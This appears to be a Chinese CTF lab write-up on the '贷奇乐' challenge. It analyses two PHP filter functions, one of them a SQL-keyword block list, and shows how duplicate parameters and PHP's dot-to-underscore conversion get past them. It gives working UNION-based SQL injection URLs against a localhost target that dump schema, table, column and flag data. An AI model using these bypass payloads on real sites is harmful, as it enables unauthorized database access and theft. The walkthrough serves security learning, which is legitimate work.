贷奇乐漏洞学习 --- 两个变态WAF绕过

news2024/9/21 22:42:25

代码分析

第一个WAF

代码

function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }

实现原理

这段PHP代码定义了一个名为dowith_sql的函数,用于对输入的字符串进行SQL注入检测和过滤。下面是对代码的详细解释:

  1. 正则表达式匹配:函数内部使用preg_match函数来检测输入字符串$str中是否包含一些常见的SQL注入攻击模式。这些模式包括:

    • select

    • insert

    • update

    • delete

    • '(单引号)

    • /**/(注释符号)

    • *(通配符)

    • .././(目录遍历)

    • union

    • into

    • load_file

    • outfile

  2. 检测结果处理:如果输入字符串中包含上述任一模式,preg_match函数会返回一个非零值,表示匹配成功。此时,函数会输出"非法字符!"并调用exit()函数终止脚本执行。

  3. 返回原字符串:如果输入字符串中没有检测到上述任一模式,函数会返回原字符串。

第二个WAF

代码

function dhtmlspecialchars($string) { 
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }

这段PHP代码定义了一个名为dhtmlspecialchars的函数,用于对输入的字符串进行HTML特殊字符的转义处理。具体来说,它将一些特殊字符(如&"<>())转换为它们的HTML实体,以防止跨站脚本攻击(XSS)。

实现原理

  1. 数组处理:如果输入的字符串是一个数组,函数会递归地对数组中的每个元素调用自身,确保数组中的所有字符串都被处理。

  2. 字符串替换:对于非数组的输入,函数使用str_replace函数将特殊字符替换为它们的HTML实体:

    • & -> &

    • " -> "

    • < -> <

    • > -> >

    • ( -> (  英文括号,换成中文括号。

    • ) -> ) 英文括号,换成中文括号。

  3. 处理编码实体:如果字符串中包含编码实体(如&#123;),函数使用正则表达式preg_replace将这些实体还原为原始字符。

注入过程

注入点分析

foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
# 通过代码可知。如果要想走进这里,就需要$_REQUEST数组中存在submit参数。所以传递参数的时候需要加上。
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysqli_query($conn,$sql);
      while($row = mysqli_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['username'] . "</td>";
          echo "</tr>";
      }
  }

由代码可知,接收参数使用到一个全局数组的方式接收数据。这就导致了注入点产生的原因。如果给这个数组参数,结果如下。

会将上面内容全部获得,但是由于他是一个数组。所以他可以获取很多参数内容,如本地电脑的环境变量。

知识点

explod函数

explode 是 PHP 中的一个内置函数,用于将一个字符串分割成多个子字符串,并返回一个包含这些子字符串的数组。这个函数接受两个参数:分隔符和要分割的字符串。

explode 函数的工作原理是遍历输入的字符串,找到所有与指定分隔符匹配的位置,然后在这些位置将字符串分割成多个部分。最后,将这些部分存储在一个数组中并返回。

基本语法

array explode ( string $delimiter , string $string [, int $limit ] )
参数说明
$delimiter用于分割字符串的分隔符。
$string要分割的字符串。
$limit(可选)如果指定了该参数,则返回的数组最多包含 limit 个元素。如果 limit 是负数,则返回除了最后的 -limit 个元素外的所有元素。

代码分析

由于代码开源,所以我们完全可以不用括号进行查询,一个一个的去获取账号密码。所以最主要是通过构建特殊的SQL语句去绕过两个安全WAF。

构建正常的语句进行断点调试,从而明白代码走向。即?submit=bbb&i_d=1

继续走,此时通过explode函数分割,通过?将一个REQUEST_URI中的字符串拆分成一个数组。

在经过第第二explode函数分割,以&进行覆分割。得出新的数组

使用foreach循环遍历$rewrite_url数组。$key是数组的键,$value是对应的值。并且通过`explode函数将字符串按照“ = ”进行分割。最后将解析后的键值对添加到$_REQUEST全局数组中。$_value[0]作为键,$_value[1]作为值。在赋值之前,$_value[1]首先被addslashes函数处理,以转义特殊字符,然后被dhtmlspecialchars函数处理,以防止HTML注入攻击。

之后变量&_value经过两个WAF过滤,代码之后重新回到上图的foreach,准备处理第二个参数。

处理完之后会进入准备拼接的SQL语句查询函数。由于存在submit的内容,所以可以直接进入函数里进行执行。

由此过程可知,这行代码将使用了两次$_REQUEST全局数组赋值,并且最后面一次的赋值将上一次的赋值给覆盖掉了。在这个覆盖的过程中,就很有可能存在SQL注入问题。比如给两个相同参数不同值,并且我将注入语句放在第一个语句里面。对我们PHP来说,可能取值是最后一个。

?i_d=1 union select 1,2,3&i_d=2

此时发现并没有报错,由此可知。进入WAF的值是第二个。

所以现在的思路是第二个无害参数进入到WAF,而最后我们取有害的参数。即第一次传递参数使用第二个数据,第二次传递参数,取得的是一个参数。

在PHP中有一个小特性,就是在经过GET传参的时候会将.]变成符号_

如此即可修改语句

?sumbit=aaa&i_d=1/**/union/**/select/**/1,2,3&i.d=2
# 之所以加/**/是因为,url自动编码,会将空格编码为%20,所以%20也会进入到SQL语句中,从而报错

在第一次取值的时候,点自动变为下划线,所以他会取第二个值i_d=2

继续断点调试,最初确实只有两个内容,一个是submit=aaa,另一个是我们传递的第二个i_d=2。所以i_d=2会走入到第一个WAF之中。此时这个之中的i_d="2"的内容将会下一次替换。

经过explode函数对REQUEST_URI的分割,从而将原本的字符串拆分成数组。并且里面存在三个元素。

使用foreach循环遍历$rewrite_url数组。$key是数组的键,$value是对应的值。并且通过`explode函数将字符串按照“ = ”进行分割。最后将解析后的键值对添加到$_REQUEST全局数组中。

遍历第一个元素·"submit=aaa"

遍历第二个元素·"i_d=1/**/union/**/select/**/1,2,3"

遍历第三个元素·"i_d=2"

最重要的一点在第二个过程,遍历第二个元素·"i_d=1/**/union/**/select/**/1,2,3"的时候,原本全局数组中$_REQUEST的"i_d=2"会被这个阶段遍历出第一个"i_d=1/**/union/**/select/**/1,2,3"替换掉。在遍历第三个元素·"i.d=2",没有经过GET传参的过程,所以此时的"."不会经过编译成为"_"。所以此时kay为"i.d"继续添加到$_REQUEST全局数组中。

所以此时的$_REQUEST全局数组只有一个key为i_d,所以在接下来的SQL语句拼接的过程中,只会去出我们写好的SQL语句。组成MySQL的查询语句。

SQL注入

获取数据库名称

注入语句如下:

<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=1</span></span>

通过修改limit的参数,一个一个获取数据库的名称。

获取表名称

注入语句如下:

<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x6374660x637466是ctf&i.d=2</span></span>

这里的0x637466是数据库ctf的ASCII编码的16进制,这是MySQL注入的一个小技巧,通过将表明改为16进制,进而可以避免加单引号。

通过修改limit的参数,一个一个获取表的名称。

获取表的列名

注入语句如下:

<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=20x637466 0x7573657273
 select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1;
 ​</span></span>

通过修改limit的参数,一个一个获取列的名称。

获取表内容

注入语句如下:

<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=2</span></span>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2039317.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux日常运维-主机名hosts

作者介绍&#xff1a;简历上没有一个精通的运维工程师。希望大家多多关注作者&#xff0c;下面的思维导图也是预计更新的内容和当前进度(不定时更新)。 本小章内容就是Linux进阶部分的日常运维部分&#xff0c;掌握这些日常运维技巧或者方法在我们的日常运维过程中会带来很多方…

探索消费新纪元:循环购模式的奥秘

在这个日新月异的消费时代&#xff0c;你是否听说过“消费1000送2000&#xff0c;每天领钱&#xff0c;提现无忧”的奇闻&#xff1f;或许你会疑惑&#xff0c;商家这是在慷慨解囊&#xff0c;还是在布下什么神秘的局&#xff1f;今天&#xff0c;让我作为你的私域电商向导&…

Linux应用--IO多路复用

一、I/O多路复用简介 socket通信&#xff0c;在Linux系统其是就是文件描述符&#xff0c;对应于内核中的缓冲区&#xff08;包含读缓冲区与写缓冲区&#xff09;&#xff0c;实质上是对读写缓冲区的操作&#xff1b;多路复用&#xff0c;多条路复用成一条路。 I/O多路复用使得程…

爬虫动态http代理ip:提高数据抓取的有效工具

爬虫动态HTTP代理IP的概述与应用 在网络爬虫的世界中&#xff0c;动态HTTP代理IP是一个非常重要的工具。它不仅能帮助用户提高数据抓取的效率&#xff0c;还能有效避免被目标网站封禁。本文将为您详细介绍什么是动态HTTP代理IP、其优势、使用场景及如何获取和配置。 1. 什么是…

NVDLA专题8:具体模块介绍——Convolution Accumulator

概述 卷积累加器(Convolution Accumulator&#xff0c; CACC)是CMAC之后的卷积流水线的一个阶段,CACC的定义在NV_NVDLA_cacc.v&#xff0c;module定义如下&#xff1a; module NV_NVDLA_cacc (cacc2sdp_ready //|< i,csb2cacc_req_pd //|<…

ZooKeeper服务器下载|安装|配置|启动|关闭|端口占用冲突解决

1、下载ZooKeeper ZooKeeper官网&#xff1a;https://zookeeper.apache.org/ 下载ZooKeeper二进制包 2、安装ZooKeeper 对ZooKeeper压缩包解压即可 tar -zxvf apache-zookeeper-3.9.2-bin.tar.gz -C /usr/local/3、配置ZooKeeper 来到ZooKeeper配置文件页面 cd conf复制z…

一文详解ETC1压缩纹理——OpenGL中ETC1纹理加载与渲染实践

ETC1(Ericsson Texture Compression)是一种有损纹理压缩技术,2005年初由爱立信研究院参与研发,目的是用于减少移动设备和嵌入式系统中纹理存储的内存占用,应用场景见于游戏、VR、AR等需要大量的纹理资源来创建高质量的视觉效果以及复杂的动画效果场景。 ETC1可提供RGB888像…

宠物医院收银系统源码

1.系统开发语言 核心开发语言: PHP、HTML5、Dart 后台接口: PHP7.3 后合管理网站: HTML5vue2.0element-uicssjs 线下收银台&#xff08;安卓/Windows版&#xff09;: Dart3 框架&#xff1a;Flutter 3.19.6 助手: uniapp 商城: uniapp 2.系统概况 针对宠物医院的一套一体化收…

Unity 流光shader的思路

先看一下直线方程&#xff1a; 1.x0.5y0: 2.x0.5y20: 3.由上面的函数图像可以看出 zxky (k是常量)&#xff0c;表示所有斜率为k的直线集合&#xff0c;z是直线在x轴的截距&#xff0c;每个z的取值都确定一条唯一的斜率为k的直线。 4.那么给z一个取值范围就可以画出一条斜的条…

vulnhub系列:devguru

vulnhub系列&#xff1a;devguru 靶机下载 一、信息收集 nmap扫描存活&#xff0c;根据mac地址寻找IP nmap 192.168.23.0/24nmap扫描端口&#xff0c;开放端口&#xff1a;22、80、8585 nmap 192.168.23.147 -p- -sV -Pn -O访问80端口 dirb目录扫描&#xff0c;存在 git 源…

c shell 脚本学习使用

1.cd /进入该目录等 2.rm -rf filename 删除文件 3、ctrl allt 打开终端窗口 4、ls 查看该路径下的文件 5 mkdir filename 创建文件夹 6、sudo chmod 777 filename 给予权限 首先对于vcs而言&#xff0c;建立其脚本有以下几个步骤: 1、setup synopsys_sim.setu…

mysql中log

目录 MySQL 日志系统概述 日志类型 日志的作用和重要性 Mermaid图示 1. Undo Log 和 Redo Log 的协同工作图 2. Redo Log 确保持久性的流程图 Undo Log&#xff08;回滚日志&#xff09; 事务的原子性&#xff08;Atomicity&#xff09;保障 事务回滚机制 MVCC&#…

MySQL的初步认识

目录 1、MySQL的定义 2、数据库操作 2.1 创建数据库 2.2 查看数据库 2.3 选中数据库 2.4 删除数据库 3、数据表的操作 3.1 创建表 3.2 查看所有表 3.3 查看指定表结构 3.4 删除表 1、MySQL的定义 数据库技术主要是用来解决数据处理的非数值计算问题&#xff0c;数据处…

植物大战僵尸融合版

1.这是植物大战僵尸融合版 2.百度网盘 链接&#xff1a;https://pan.baidu.com/s/1yUytNeloiQs5tlss16fVOg 提取码&#xff1a;yspa 时间从2024年8月14号开始分享30天&#xff0c;10个人访问&#xff0c;先来先得。

项目管理软件中的项目集是什么?项目集管理哪些人适合学习?

在现今的数字化时代&#xff0c;项目管理软件已经成为企业高效运作不可或缺的工具。其中&#xff0c;项目集这一概念在项目管理领域内越来越受到重视。那么&#xff0c;项目管理软件中的项目集究竟是什么呢&#xff1f;它又适合哪些人进行学习和应用呢&#xff1f; 项目、大项目…

生信技能56 - 去除重复BAM文件的窗口reads计数方法

1. 输入去除重复的BAM文件 一般采用BWA MEM比对到参考基因组,对得到的BAM文件去除PCR重复,将去除重复的BAM文件作为窗口reads计数的输入文件。 去除重复方法参考本人文章: 生信软件23 - Samtools和GATK去除PCR重复方法汇总 2. 窗口文件制作 左到右列分别为: 染色体名…

RCE-无字母数字webshell命令执行

目录 1.源码 2.题目解析 3.利用方法 3.1 PHP7下如何实现 3.2PHP5下如何实现 3.2.1 shell下可以利用. 来执行任意脚本 3.2.2 Linux文件名支持用glob通配符代替 1.题目源码 <?php if(isset($_GET[code])){$code $_GET[code];if(strlen($code)>35){die(&q…

pytorch 3 计算图

计算图结构 分析&#xff1a; 起始节点 ab 5 - 3ac 2b 3d 5b 6e 7c d^2f 2e最终输出 g 3f - o&#xff08;其中 o 是另一个输入&#xff09; 前向传播 前向传播按照上述顺序计算每个节点的值。 反向传播过程 反向传播的目标是计算损失函数&#xff08;这里假设为…

看demo学算法之 线性回归模型

嗨&#xff01;今天我们来聊聊如何用Python构建一个简单的线性回归模型。这个过程就像给数据配对舞一样&#xff0c;让它们在舞池里找到最佳位置。准备好了吗&#xff1f;让我们开始吧&#xff01;&#x1f680; 第一步&#xff1a;数据准备 首先&#xff0c;我们要准备一些数…

基因家族Motif 分析

一、名词解释 Motif分析是一种在生物信息学和计算生物学中广泛应用的技术&#xff0c;用于识别DNA、RNA或蛋白质序列中具有生物学功能的短保守序列模式&#xff08;motif&#xff09;。这些motif通常与特定的生物学功能相关&#xff0c;如DNA中的转录因子结合位点、RNA中的剪接…